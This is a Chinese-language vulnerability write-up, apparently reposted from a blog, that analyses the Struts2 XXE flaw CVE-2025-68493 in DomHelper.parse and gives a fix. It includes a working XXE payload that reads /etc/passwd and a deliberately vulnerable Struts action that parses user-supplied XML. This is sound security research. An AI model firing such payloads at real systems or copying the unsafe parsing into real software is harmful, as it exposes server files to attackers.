Struts2XXE漏洞(CVE-2025-68493)分析及复现

admin 2026-01-14 23:23:54 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深入分析了Struts2CVE-2025-68493XXE漏洞,根因位于DomHelper.parse方法调用SAX解析器时未正确限制外部实体。文章详细追踪了从DomHelper到XMLEntityManager的调用栈,确认默认安全属性允许所有协议访问。文中包含漏洞复现代码与截图,并提供了升级组件或配置JVM参数禁止外部DTD访问的具体修复方案。 综合评分: 90 文章分类: 漏洞分析,漏洞POC,WEB安全


cover_image

Struts2 XXE漏洞(CVE-2025-68493)分析及复现

原创

Y5neKO

Y5Sec

2026年1月14日 12:56 四川

CVE-2025-68493

漏洞点

位置:com.opensymphony.xwork2.util.DomHelper.parse

环境

java:

import com.opensymphony.xwork2.util.DomHelper;
import org.w3c.dom.Document;
import org.xml.sax.InputSource;

import java.io.IOException;
import java.io.StringReader;

public class Test {
    public static void main(String[] args) throws IOException {

&nbsp; &nbsp; &nbsp; &nbsp; String&nbsp;xmlContent&nbsp;=&nbsp;"<?xml version=\"1.0\"?><!DOCTYPE root [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><root>&xxe;</root>";

&nbsp; &nbsp; &nbsp; &nbsp; InputSource&nbsp;inputSource&nbsp;=&nbsp;new&nbsp;InputSource(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; new&nbsp;StringReader(xmlContent)
&nbsp; &nbsp; &nbsp; &nbsp; );

&nbsp; &nbsp; &nbsp; &nbsp; Document&nbsp;document&nbsp;=&nbsp;DomHelper.parse(inputSource);

&nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(document !=&nbsp;null&nbsp;&& document.getDocumentElement() !=&nbsp;null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.out.println(document.getDocumentElement().getTextContent());
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
}

struts:

package&nbsp;com.y5neko.vul.action;

import&nbsp;com.opensymphony.xwork2.ActionSupport;
import&nbsp;com.opensymphony.xwork2.util.DomHelper;
import&nbsp;org.w3c.dom.Document;
import&nbsp;org.xml.sax.InputSource;

import&nbsp;java.io.StringReader;

public&nbsp;class&nbsp;XmlParserNoDtdAction&nbsp;extends&nbsp;ActionSupport&nbsp;{

&nbsp; &nbsp; private&nbsp;String xmlContent;
&nbsp; &nbsp; private&nbsp;String result;
&nbsp; &nbsp; private&nbsp;String error;

&nbsp; &nbsp; public&nbsp;String&nbsp;execute()&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;SUCCESS;
&nbsp; &nbsp; }

&nbsp; &nbsp; public&nbsp;String&nbsp;parse()&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(xmlContent ==&nbsp;null&nbsp;|| xmlContent.trim().isEmpty()) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; error =&nbsp;"XML 内容不能为空";
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;ERROR;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; InputSource&nbsp;inputSource&nbsp;=&nbsp;new&nbsp;InputSource(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; new&nbsp;StringReader(xmlContent)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; );

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Document&nbsp;document&nbsp;=&nbsp;DomHelper.parse(inputSource);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(document !=&nbsp;null&nbsp;&& document.getDocumentElement() !=&nbsp;null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; result = document.getDocumentElement().getTextContent();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; addActionMessage("XML 解析成功");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; error =&nbsp;"XML 解析失败";
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;ERROR;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Exception e) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StringBuilder&nbsp;sb&nbsp;=&nbsp;new&nbsp;StringBuilder();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sb.append(e.getClass().getSimpleName());
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(e.getMessage() !=&nbsp;null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sb.append(": ").append(e.getMessage());
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; error = sb.toString();

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.printStackTrace();

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;ERROR;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;SUCCESS;
&nbsp; &nbsp; }

&nbsp; &nbsp; public&nbsp;String&nbsp;getXmlContent()&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;xmlContent;
&nbsp; &nbsp; }

&nbsp; &nbsp; public&nbsp;void&nbsp;setXmlContent(String xmlContent)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; this.xmlContent = xmlContent;
&nbsp; &nbsp; }

&nbsp; &nbsp; public&nbsp;String&nbsp;getResult()&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;result;
&nbsp; &nbsp; }

&nbsp; &nbsp; public&nbsp;void&nbsp;setResult(String result)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; this.result = result;
&nbsp; &nbsp; }

&nbsp; &nbsp; public&nbsp;String&nbsp;getError()&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;error;
&nbsp; &nbsp; }

&nbsp; &nbsp; public&nbsp;void&nbsp;setError(String error)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; this.error = error;
&nbsp; &nbsp; }
}

分析

进入重载方法,dtdMappings为null

使用SAXParserFactory作为factory

直接进入SAXParserImpl的parse方法,依次跟进

直到com.sun.org.apache.xerces.internal.parsers.parse

securityPropertyManager负责管理JAXP安全属性

其中ACCESS_EXTERNAL_DTD和ACCESS_EXTERNAL_SCHEMA分别决定DTD阶段和XML Schema (XSD)阶段是否允许访问外部实体,默认为all,即允许所有协议,参考:

https://docs.oracle.com/en/java/javase/25/docs/api/java.xml/javax/xml/XMLConstants.html#ACCESS_EXTERNAL_DTD

继续回到执行点

随后就是内部的xml解析逻辑,完整调用链如下:

DomHelper.parse()
&nbsp; ↓
SAXParser.parse()
&nbsp; ↓
XMLParser.parse()
&nbsp; ↓
XML11Configuration.parse()
&nbsp; ↓
XMLEntityManager.startEntity()
&nbsp; ↓
XMLScanner.scanDocument()
&nbsp; ↓
XMLDTDScannerImpl.scanDTD()
&nbsp; ↓
XMLDocumentScannerImpl.scanStartElement()
&nbsp; ↓
XMLSchemaValidator / ContentHandler

复现

修复

1、升级Struts2版本;

2、jvm参数直接置空 XML 解析器的三个安全参数;

-Djavax.xml.accessExternalDTD=""
-Djavax.xml.accessExternalSchema=""
-Djavax.xml.accessExternalStylesheet=""

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Y5Sec Y5neKO《Struts2 XXE漏洞(CVE-2025-68493)分析及复现》

评论:0   参与:  0